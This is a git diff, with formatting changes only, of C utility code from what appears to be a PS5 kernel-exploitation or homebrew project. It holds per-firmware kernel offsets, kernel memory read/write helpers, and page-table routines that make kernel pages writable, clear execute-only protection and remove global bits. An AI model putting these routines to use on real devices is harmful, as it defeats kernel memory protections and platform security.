+1,12 @@ -#include "tmr.h" -#include "utils.h" - -uint32_t tmr_read(uint32_t addr) { - kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr); - return kread32(ECAM_B0D18F2 + TMR_DATA_OFF); -} - -void tmr_write(uint32_t addr, uint32_t val) { - kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr); - kwrite32(ECAM_B0D18F2 + TMR_DATA_OFF, val); -} \ No newline at end of file +#include "tmr.h" +#include "utils.h" + +uint32_t tmr_read(uint32_t addr) { + kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr); + return kread32(ECAM_B0D18F2 + TMR_DATA_OFF); +} + +void tmr_write(uint32_t addr, uint32_t val) { + kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr); + kwrite32(ECAM_B0D18F2 + TMR_DATA_OFF, val); +} diff --git a/source/utils.c b/source/utils.c index 1ea26d5..c0c7ab5 100644 --- a/source/utils.c +++ b/source/utils.c @@ -1,279 +1,279 @@ -#include "utils.h" -#include "offsets.h" -#include -#include -#include -#include -#include -#include -#include - -/* Global Variables */ -offset_list env_offset; -uint64_t ktext; -uint64_t kdata; -uint64_t dmap; -uint64_t cr3; -uint32_t fw; -struct linux_info linux_i; - -int set_offsets(void) { - fw = kernel_get_fw_version() >> 16; - if (fw == 0) - return -1; - switch (fw) { - case 0x0300: - env_offset = off_0300; - break; - case 0x0310: - env_offset = off_0310; - break; - case 0x0320: - env_offset = off_0320; - break; - case 0x0321: - env_offset = off_0321; - break; - case 0x0400: - env_offset = off_0400; - break; - case 0x0402: - env_offset = off_0402; - break; - case 0x0403: - env_offset = off_0403; - break; - case 0x0450: - env_offset = off_0450; - break; - case 0x0451: - env_offset = off_0451; - break; - default: - return -1; - } - return 0; -} - -int init_global_vars(void) { - ktext = KERNEL_ADDRESS_TEXT_BASE; - kdata = KERNEL_ADDRESS_DATA_BASE; - - flat_pmap kernel_pmap; - kread(ktext + env_offset.PMAP_STORE, &kernel_pmap, sizeof(kernel_pmap)); - if (kernel_pmap.pm_pml4 == 0 || kernel_pmap.pm_cr3 == 0) - return -1; - - cr3 = kernel_pmap.pm_cr3; - dmap = kernel_pmap.pm_pml4 - kernel_pmap.pm_cr3; - - return 0; -} - -uint64_t get_offset_va(uint64_t offset) { return ktext + offset; } - -uint64_t get_pml4(uint64_t pmap) { return kread64(pmap + 0x20); } - -uint64_t getpmap(uint64_t proc) { - uint64_t vm = kread64(proc + KERNEL_OFFSET_PROC_P_VMSPACE); - uint64_t vm_pmap = kread64(vm + env_offset.VMSPACE_VM_PMAP); - return vm_pmap; -} - -// for ring3 -uint64_t va_to_pa_user(uint64_t va) { - uintptr_t self_pmap = getpmap(kernel_get_proc(getpid())); - uintptr_t self_pml4 = get_pml4(self_pmap); - uint64_t pa = va_to_pa_custom(va, self_pml4 & 0xFFFFFFFF); - return pa; -} - -// for ring0 -uint64_t va_to_pa_kernel(uint64_t va) { return va_to_pa_custom(va, cr3); } - -// Source: PS5_kldload -uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) { - - uint64_t table_phys = cr3_custom & 0xFFFFFFFF; - - for (int level = 0; level < 4; level++) { - int shift = 39 - (level * 9); - uint64_t idx = (va >> shift) & 0x1FF; - uint64_t entry; - - kread(dmap + PAGE_PA(table_phys) + idx * 8, &entry, sizeof(entry)); - - if (!PAGE_P(entry)) - return 0; - - if ((level == 1 || level == 2) && PAGE_PS(entry)) { - uint64_t page_size = P_SIZE(level); - return PAGE_PA(entry) | (va & (page_size - 1)); - } - - if (level == 3) - return PAGE_PA(entry) | (va & 0xFFF); - - table_phys = PAGE_PA(entry); - } - return 0; -} - -uint64_t pa_to_dmap(uint64_t pa) { return dmap + pa; } - -// Set RW bit on all levels if needed and remove eXecute Only bit -void page_chain_set_rw(uint64_t va) { - - uint64_t table_phys = cr3; - - for (int level = 0; level < 4; level++) { - int shift = 39 - (level * 9); - uint64_t idx = (va >> shift) & 0x1FF; - uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8; - uint64_t entry; - - // Read Level X entry - kread(entry_va, &entry, sizeof(entry)); - - if (!PAGE_P(entry)) - return; - - uint8_t update = 0; - // Set RW bit on this level - if (!PAGE_RW(entry)) { - PAGE_SET_RW(entry); - update = 1; - } - // Unset XO on this level - if (PAGE_XO(entry)) { - PAGE_CLEAR_XO(entry); - update = 1; - } - if (update) { - kwrite(entry_va, &entry, sizeof(entry)); - } - - if (((level == 1 || level == 2) && PAGE_PS(entry)) || (level == 3)) { - return; - } - - table_phys = PAGE_PA(entry); - } - return; -} - -// Remove Global bit on last level -uint64_t page_remove_global(uint64_t va) { - - uint64_t table_phys = cr3; - - for (int level = 0; level < 4; level++) { - int shift = 39 - (level * 9); - uint64_t idx = (va >> shift) & 0x1FF; - uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8; - uint64_t entry; - - // Read Level X entry - kread(entry_va, &entry, sizeof(entry)); - - if (!PAGE_P(entry)) - return 0; - - if ((level == 1 || level == 2) && PAGE_PS(entry)) { - PAGE_CLEAR_G(entry); - kwrite(entry_va, &entry, sizeof(entry)); - - uint64_t page_size = P_SIZE(level); - return PAGE_PA(entry) | (va & (page_size - 1)); - } - - if (level == 3) { - - PAGE_CLEAR_G(entry); - kwrite(entry_va, &entry, sizeof(entry)); - - return PAGE_PA(entry) | (va & 0xFFF); - } - - table_phys = PAGE_PA(entry); - } - return 0; -} - -int pin_to_core(int n) { - uint64_t m[2] = {0}; - m[0] = (1 << n); - return cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m); -} - -int pin_to_first_available_core(void) { - for (int i = 0; i < 16; i++) - if (pin_to_core(i) == 0) - return i; - return -1; -} - -void unpin(void) { - uint64_t m[2] = {0xFFFF, 0}; - cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m); -} - -void notify(const char *fmt, ...) { - static char buffer[2048]; - va_list args; - - va_start(args, fmt); - vsnprintf(buffer, sizeof(buffer), fmt, args); - va_end(args); - - notify_internal((uint8_t *)buffer); - printf("%s", buffer); -} - -void notify_internal(uint8_t *msg) { - struct { - char pad[45]; - char msg[3075]; - } req; - bzero(&req, sizeof(req)); - uint64_t len = - strlen((const char *)msg) < (sizeof(req.msg) - 1) ? strlen((const char *)msg) : (sizeof(req.msg) - 1); - memcpy(req.msg, msg, len); - sceKernelSendNotificationRequest(0, &req, sizeof(req), 0); -} - -void enter_rest_mode(void) { - void *event = NULL; - sceKernelOpenEventFlag(&event, "SceSystemStateMgrStatus"); - sceKernelNotifySystemSuspendStart(); - sceKernelSetEventFlag(event, 0x400); - sceKernelCloseEventFlag(&event); -} - - -// Kit type by EchoStretch -bool if_exists(const char* path) { - struct stat st; - return stat(path, &st) == 0; -} - -bool sceKernelIsTestKit(void) { - return if_exists("/system/priv/lib/libSceDeci5Ttyp.sprx"); -} - -bool sceKernelIsDevKit(void) { - return if_exists("/system/priv/lib/libSceDeci5Dtracep.sprx"); -} - -enum kit_type get_kit_type(void) { - if (sceKernelIsDevKit()) { - notify("DevKit detected\n"); - return KIT_DEVKIT; - } - if (sceKernelIsTestKit()) { - notify("TestKit detected\n"); - return KIT_TESTKIT; - } - notify("Retail console detected\n"); - return KIT_RETAIL; -} \ No newline at end of file +#include "utils.h" +#include "offsets.h" +#include +#include +#include +#include +#include +#include +#include + +/* Global Variables */ +offset_list env_offset; +uint64_t ktext; +uint64_t kdata; +uint64_t dmap; +uint64_t cr3; +uint32_t fw; +struct linux_info linux_i; + +int set_offsets(void) { + fw = kernel_get_fw_version() >> 16; + if (fw == 0) + return -1; + switch (fw) { + case 0x0300: + env_offset = off_0300; + break; + case 0x0310: + env_offset = off_0310; + break; + case 0x0320: + env_offset = off_0320; + break; + case 0x0321: + env_offset = off_0321; + break; + case 0x0400: + env_offset = off_0400; + break; + case 0x0402: + env_offset = off_0402; + break; + case 0x0403: + env_offset = off_0403; + break; + case 0x0450: + env_offset = off_0450; + break; + case 0x0451: + env_offset = off_0451; + break; + default: + return -1; + } + return 0; +} + +int init_global_vars(void) { + ktext = KERNEL_ADDRESS_TEXT_BASE; + kdata = KERNEL_ADDRESS_DATA_BASE; + + flat_pmap kernel_pmap; + kread(ktext + env_offset.PMAP_STORE, &kernel_pmap, sizeof(kernel_pmap)); + if (kernel_pmap.pm_pml4 == 0 || kernel_pmap.pm_cr3 == 0) + return -1; + + cr3 = kernel_pmap.pm_cr3; + dmap = kernel_pmap.pm_pml4 - kernel_pmap.pm_cr3; + + return 0; +} + +uint64_t get_offset_va(uint64_t offset) { return ktext + offset; } + +uint64_t get_pml4(uint64_t pmap) { return kread64(pmap + 0x20); } + +uint64_t getpmap(uint64_t proc) { + uint64_t vm = kread64(proc + KERNEL_OFFSET_PROC_P_VMSPACE); + uint64_t vm_pmap = kread64(vm + env_offset.VMSPACE_VM_PMAP); + return vm_pmap; +} + +// for ring3 +uint64_t va_to_pa_user(uint64_t va) { + uintptr_t self_pmap = getpmap(kernel_get_proc(getpid())); + uintptr_t self_pml4 = get_pml4(self_pmap); + uint64_t pa = va_to_pa_custom(va, self_pml4 & 0xFFFFFFFF); + return pa; +} + +// for ring0 +uint64_t va_to_pa_kernel(uint64_t va) { return va_to_pa_custom(va, cr3); } + +// Source: PS5_kldload +uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) { + + uint64_t table_phys = cr3_custom & 0xFFFFFFFF; + + for (int level = 0; level < 4; level++) { + int shift = 39 - (level * 9); + uint64_t idx = (va >> shift) & 0x1FF; + uint64_t entry; + + kread(dmap + PAGE_PA(table_phys) + idx * 8, &entry, sizeof(entry)); + + if (!PAGE_P(entry)) + return 0; + + if ((level == 1 || level == 2) && PAGE_PS(entry)) { + uint64_t page_size = P_SIZE(level); + return PAGE_PA(entry) | (va & (page_size - 1)); + } + + if (level == 3) + return PAGE_PA(entry) | (va & 0xFFF); + + table_phys = PAGE_PA(entry); + } + return 0; +} + +uint64_t pa_to_dmap(uint64_t pa) { return dmap + pa; } + +// Set RW bit on all levels if needed and remove eXecute Only bit +void page_chain_set_rw(uint64_t va) { + + uint64_t table_phys = cr3; + + for (int level = 0; level < 4; level++) { + int shift = 39 - (level * 9); + uint64_t idx = (va >> shift) & 0x1FF; + uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8; + uint64_t entry; + + // Read Level X entry + kread(entry_va, &entry, sizeof(entry)); + + if (!PAGE_P(entry)) + return; + + uint8_t update = 0; + // Set RW bit on this level + if (!PAGE_RW(entry)) { + PAGE_SET_RW(entry); + update = 1; + } + // Unset XO on this level + if (PAGE_XO(entry)) { + PAGE_CLEAR_XO(entry); + update = 1; + } + if (update) { + kwrite(entry_va, &entry, sizeof(entry)); + } + + if (((level == 1 || level == 2) && PAGE_PS(entry)) || (level == 3)) { + return; + } + + table_phys = PAGE_PA(entry); + } + return; +} + +// Remove Global bit on last level +uint64_t page_remove_global(uint64_t va) { + + uint64_t table_phys = cr3; + + for (int level = 0; level < 4; level++) { + int shift = 39 - (level * 9); + uint64_t idx = (va >> shift) & 0x1FF; + uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8; + uint64_t entry; + + // Read Level X entry + kread(entry_va, &entry, sizeof(entry)); + + if (!PAGE_P(entry)) + return 0; + + if ((level == 1 || level == 2) && PAGE_PS(entry)) { + PAGE_CLEAR_G(entry); + kwrite(entry_va, &entry, sizeof(entry)); + + uint64_t page_size = P_SIZE(level); + return PAGE_PA(entry) | (va & (page_size - 1)); + } + + if (level == 3) { + + PAGE_CLEAR_G(entry); + kwrite(entry_va, &entry, sizeof(entry)); + + return PAGE_PA(entry) | (va & 0xFFF); + } + + table_phys = PAGE_PA(entry); + } + return 0; +} + +int pin_to_core(int n) { + uint64_t m[2] = {0}; + m[0] = (1 << n); + return cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m); +} + +int pin_to_first_available_core(void) { + for (int i = 0; i < 16; i++) + if (pin_to_core(i) == 0) + return i; + return -1; +} + +void unpin(void) { + uint64_t m[2] = {0xFFFF, 0}; + cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m); +} + +void notify(const char *fmt, ...) { + static char buffer[2048]; + va_list args; + + va_start(args, fmt); + vsnprintf(buffer, sizeof(buffer), fmt, args); + va_end(args); + + notify_internal((uint8_t *)buffer); + printf("%s", buffer); +} + +void notify_internal(uint8_t *msg) { + struct { + char pad[45]; + char msg[3075]; + } req; + bzero(&req, sizeof(req)); + uint64_t len = strlen((const char *)msg) < (sizeof(req.msg) - 1) + ? strlen((const char *)msg) + : (sizeof(req.msg) - 1); + memcpy(req.msg, msg, len); + sceKernelSendNotificationRequest(0, &req, sizeof(req), 0); +} + +void enter_rest_mode(void) { + void *event = NULL; + sceKernelOpenEventFlag(&event, "SceSystemStateMgrStatus"); + sceKernelNotifySystemSuspendStart(); + sceKernelSetEventFlag(event, 0x400); + sceKernelCloseEventFlag(&event); +} + +// Kit type by EchoStretch +bool if_exists(const char *path) { + struct stat st; + return stat(path, &st) == 0; +} + +bool sceKernelIsTestKit(void) { + return if_exists("/system/priv/lib/libSceDeci5Ttyp.sprx"); +} + +bool sceKernelIsDevKit(void) { + return if_exists("/system/priv/lib/libSceDeci5Dtracep.sprx"); +} + +enum kit_type get_kit_type(void) { + if (sceKernelIsDevKit()) { + notify("DevKit detected\n"); + return KIT_DEVKIT; + } + if (sceKernelIsTestKit()) { + notify("TestKit detected\n"); + return KIT_TESTKIT; + } + notify("Retail console detected\n"); + return KIT_RETAIL; +}